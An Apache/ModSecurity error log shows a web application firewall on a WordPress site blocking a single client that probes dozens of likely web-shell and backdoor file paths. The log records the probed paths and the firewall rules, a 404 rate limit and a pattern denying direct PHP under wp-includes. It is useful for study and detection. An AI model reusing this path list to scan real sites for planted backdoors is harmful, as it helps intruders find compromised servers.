[Sat Nov 22 05:31:08.292603 2025] [:error] [pid 25856:tid 25863] [client 172.161.73.78:44858] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "aSDaHBsTP0wy94zKUvGkHAAAAQU"]
[Sat Nov 22 05:31:09.039141 2025] [:error] [pid 53479:tid 53543] [client 172.161.73.78:42847] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "aSDaHW6cicFF3Aas-oRv3wAAAIc"]
[Sat Nov 22 05:31:10.085815 2025] [:error] [pid 53566:tid 53592] [client 172.161.73.78:42836] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "aSDaHsbSHDBkRbwMbd4vUgAAANg"]
[Sat Nov 22 05:31:11.006839 2025] [:error] [pid 25856:tid 25869] [client 172.161.73.78:37350] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "aSDaHxsTP0wy94zKUvGkIgAAAQs"]
[Sat Nov 22 05:31:12.024321 2025] [:error] [pid 53479:tid 53558] [client 172.161.73.78:61222] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/install.php"] [unique_id "aSDaIG6cicFF3Aas-oRv6wAAAJY"]
[Sat Nov 22 05:31:14.451122 2025] [:error] [pid 53478:tid 53525] [client 172.161.73.78:44852] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/install.php"] [unique_id "aSDaIghUYdXBbQswAdQLswAAAFA"]
[Sat Nov 22 05:31:17.830529 2025] [:error] [pid 53478:tid 53521] [client 172.161.73.78:42830] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/install.php"] [unique_id "aSDaJQhUYdXBbQswAdQLvQAAAEw"]
[Sat Nov 22 05:31:19.495065 2025] [:error] [pid 53479:tid 53559] [client 172.161.73.78:41410] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/install.php"] [unique_id "aSDaJ26cicFF3Aas-oRwDAAAAJc"]
[Sat Nov 22 05:31:20.925270 2025] [:error] [pid 53478:tid 53525] [client 172.161.73.78:44853] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/link.php"] [unique_id "aSDaKAhUYdXBbQswAdQLwwAAAFA"]
[Sat Nov 22 05:31:21.775190 2025] [:error] [pid 53479:tid 53552] [client 172.161.73.78:42876] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/link.php"] [unique_id "aSDaKW6cicFF3Aas-oRwEQAAAJA"]
[Sat Nov 22 05:31:25.236012 2025] [:error] [pid 53479:tid 53544] [client 172.161.73.78:37368] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/link.php"] [unique_id "aSDaLW6cicFF3Aas-oRwHQAAAIg"]
[Sat Nov 22 05:31:27.485349 2025] [:error] [pid 25856:tid 25882] [client 172.161.73.78:11163] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/link.php"] [unique_id "aSDaLxsTP0wy94zKUvGkTwAAARg"]
[Sat Nov 22 05:31:28.317177 2025] [:error] [pid 25856:tid 25874] [client 172.161.73.78:44846] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "aSDaMBsTP0wy94zKUvGkUgAAARA"]
[Sat Nov 22 05:31:29.899103 2025] [:error] [pid 53478:tid 53527] [client 172.161.73.78:11171] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "aSDaMQhUYdXBbQswAdQLzAAAAFI"]
[Sat Nov 22 05:31:30.886395 2025] [:error] [pid 53566:tid 53581] [client 172.161.73.78:11168] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "aSDaMsbSHDBkRbwMbd4vjgAAAM0"]
[Sat Nov 22 05:31:33.320746 2025] [:error] [pid 53479:tid 53560] [client 172.161.73.78:44840] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "aSDaNW6cicFF3Aas-oRwNQAAAJg"]
[Sat Nov 22 05:31:34.927567 2025] [:error] [pid 53477:tid 53484] [client 172.161.73.78:37348] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aSDaNn7Lu30Ku9O40aLWFQAAAAM"]
[Sat Nov 22 05:31:37.733719 2025] [:error] [pid 53478:tid 53516] [client 172.161.73.78:42865] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aSDaOQhUYdXBbQswAdQL2AAAAEc"]
[Sat Nov 22 05:31:43.447616 2025] [:error] [pid 25856:tid 25881] [client 172.161.73.78:55362] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aSDaPxsTP0wy94zKUvGkegAAARc"]
[Sat Nov 22 05:31:44.855990 2025] [:error] [pid 53566:tid 53590] [client 172.161.73.78:44804] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aSDaQMbSHDBkRbwMbd4vsQAAANY"]
[Sat Nov 22 05:31:45.847954 2025] [:error] [pid 53477:tid 53491] [client 172.161.73.78:41460] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSDaQX7Lu30Ku9O40aLWJgAAAAo"]
[Sat Nov 22 05:31:47.382597 2025] [:error] [pid 25856:tid 25863] [client 172.161.73.78:42849] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aSDaQxsTP0wy94zKUvGkhQAAAQU"]
[Sat Nov 22 05:32:00.832999 2025] [proxy_fcgi:error] [pid 53477:tid 53504] [client 172.161.73.78:42858] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:32:01.070039 2025] [:error] [pid 53477:tid 53495] [client 172.161.73.78:42858] [client 172.161.73.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.161.73.78, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ectoplasm/wp-login.php"] [unique_id "aSDaUX7Lu30Ku9O40aLWOAAAAA4"]
[Sat Nov 22 05:32:02.128035 2025] [:error] [pid 53477:tid 53481] [client 172.161.73.78:42858] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/preferences/index.php"] [unique_id "aSDaUn7Lu30Ku9O40aLWPQAAAAA"]
[Sat Nov 22 05:32:03.363018 2025] [:error] [pid 53566:tid 53578] [client 172.161.73.78:44834] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aSDaU8bSHDBkRbwMbd4v2wAAAMo"]
[Sat Nov 22 05:32:04.130902 2025] [proxy_fcgi:error] [pid 53566:tid 53588] [client 172.161.73.78:55379] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:32:04.390241 2025] [:error] [pid 53566:tid 53577] [client 172.161.73.78:55379] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSDaVMbSHDBkRbwMbd4v4QAAAMk"]
[Sat Nov 22 05:32:06.974313 2025] [:error] [pid 53566:tid 53587] [client 172.161.73.78:11139] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/vuln.php"] [unique_id "aSDaVsbSHDBkRbwMbd4v7gAAANM"]
[Sat Nov 22 05:32:08.703234 2025] [:error] [pid 25856:tid 25871] [client 172.161.73.78:11188] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aSDaWBsTP0wy94zKUvGkpwAAAQ0"]
[Sat Nov 22 05:32:09.769668 2025] [:error] [pid 53477:tid 53484] [client 172.161.73.78:41414] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aSDaWX7Lu30Ku9O40aLWRQAAAAM"]
[Sat Nov 22 05:32:13.713100 2025] [proxy_fcgi:error] [pid 53479:tid 53544] [client 172.161.73.78:42821] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:32:13.955000 2025] [:error] [pid 53479:tid 53559] [client 172.161.73.78:42821] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/parx.php"] [unique_id "aSDaXW6cicFF3Aas-oRwoAAAAJc"]
[Sat Nov 22 05:32:16.235229 2025] [:error] [pid 53566:tid 53572] [client 172.161.73.78:11174] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/parx.php"] [unique_id "aSDaYMbSHDBkRbwMbd4wBgAAAMQ"]
[Sat Nov 22 05:32:17.418002 2025] [:error] [pid 53479:tid 53544] [client 172.161.73.78:55378] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/parx.php"] [unique_id "aSDaYW6cicFF3Aas-oRwrQAAAIg"]
[Sat Nov 22 05:32:19.533109 2025] [:error] [pid 53478:tid 53510] [client 172.161.73.78:61198] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/parx.php"] [unique_id "aSDaYwhUYdXBbQswAdQMAgAAAEE"]
[Sat Nov 22 05:32:21.731142 2025] [:error] [pid 53479:tid 53555] [client 172.161.73.78:37323] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aSDaZW6cicFF3Aas-oRwuAAAAJM"]
[Sat Nov 22 05:32:22.639449 2025] [:error] [pid 25856:tid 25879] [client 172.161.73.78:55377] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aSDaZhsTP0wy94zKUvGkugAAARU"]
[Sat Nov 22 05:32:24.192974 2025] [:error] [pid 53477:tid 53503] [client 172.161.73.78:41433] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aSDaaH7Lu30Ku9O40aLWXQAAABY"]
[Sat Nov 22 05:32:26.063403 2025] [:error] [pid 53566:tid 53577] [client 172.161.73.78:37364] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aSDaasbSHDBkRbwMbd4wHgAAAMk"]
[Sat Nov 22 05:32:28.681529 2025] [:error] [pid 25856:tid 25867] [client 172.161.73.78:41455] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12wudscz.php"] [unique_id "aSDabBsTP0wy94zKUvGkwgAAAQk"]
[Sat Nov 22 05:32:29.731927 2025] [:error] [pid 53566:tid 53584] [client 172.161.73.78:37333] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12wudscz.php"] [unique_id "aSDabcbSHDBkRbwMbd4wKwAAANA"]
[Sat Nov 22 05:32:32.456021 2025] [:error] [pid 25856:tid 25865] [client 172.161.73.78:42844] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12wudscz.php"] [unique_id "aSDacBsTP0wy94zKUvGkxQAAAQc"]
[Sat Nov 22 05:32:33.879873 2025] [:error] [pid 53566:tid 53588] [client 172.161.73.78:42902] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12wudscz.php"] [unique_id "aSDaccbSHDBkRbwMbd4wMgAAANQ"]
[Sat Nov 22 05:32:56.956467 2025] [:error] [pid 53566:tid 53578] [client 172.161.73.78:40702] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aSDaiMbSHDBkRbwMbd4wWgAAAMo"]
[Sat Nov 22 05:32:59.243742 2025] [:error] [pid 53566:tid 53574] [client 172.161.73.78:40703] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/background-image-cropper/plugins.php"] [unique_id "aSDai8bSHDBkRbwMbd4wXAAAAMY"]
[Sat Nov 22 05:33:00.673039 2025] [:error] [pid 53479:tid 53539] [client 172.161.73.78:46809] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/background-image-cropper/plugins.php"] [unique_id "aSDajG6cicFF3Aas-oRxIQAAAIM"]
[Sat Nov 22 05:33:04.016399 2025] [:error] [pid 25856:tid 25860] [client 172.161.73.78:48865] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/background-image-cropper/plugins.php"] [unique_id "aSDakBsTP0wy94zKUvGk5QAAAQI"]
[Sat Nov 22 05:33:04.838990 2025] [:error] [pid 53479:tid 53546] [client 172.161.73.78:33907] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/background-image-cropper/plugins.php"] [unique_id "aSDakG6cicFF3Aas-oRxMgAAAIo"]
[Sat Nov 22 05:33:12.930508 2025] [:error] [pid 53566:tid 53592] [client 172.161.73.78:44102] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aSDamMbSHDBkRbwMbd4waQAAANg"]
[Sat Nov 22 05:33:28.309486 2025] [:error] [pid 53477:tid 53486] [client 172.161.73.78:10928] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/wp-login.php"] [unique_id "aSDaqH7Lu30Ku9O40aLWxQAAAAU"]
[Sat Nov 22 05:33:29.951307 2025] [:error] [pid 53479:tid 53539] [client 172.161.73.78:10263] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aSDaqW6cicFF3Aas-oRxkQAAAIM"]
[Sat Nov 22 05:33:31.953119 2025] [:error] [pid 53479:tid 53559] [client 172.161.73.78:44219] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aSDaq26cicFF3Aas-oRxmQAAAJc"]
[Sat Nov 22 05:33:33.619873 2025] [proxy_fcgi:error] [pid 53477:tid 53486] [client 172.161.73.78:44183] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:33:33.873942 2025] [proxy_fcgi:error] [pid 53477:tid 53482] [client 172.161.73.78:44183] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:33:35.430385 2025] [:error] [pid 53477:tid 53493] [client 172.161.73.78:44183] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/content.php"] [unique_id "aSDar37Lu30Ku9O40aLW3wAAAAw"]
[Sat Nov 22 05:33:36.797617 2025] [:error] [pid 53566:tid 53576] [client 172.161.73.78:38235] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/wp-login.php"] [unique_id "aSDasMbSHDBkRbwMbd4wjAAAAMg"]
[Sat Nov 22 05:33:41.616483 2025] [proxy_fcgi:error] [pid 53477:tid 53505] [client 172.161.73.78:10681] AH01071: Got error 'Primary script unknown'
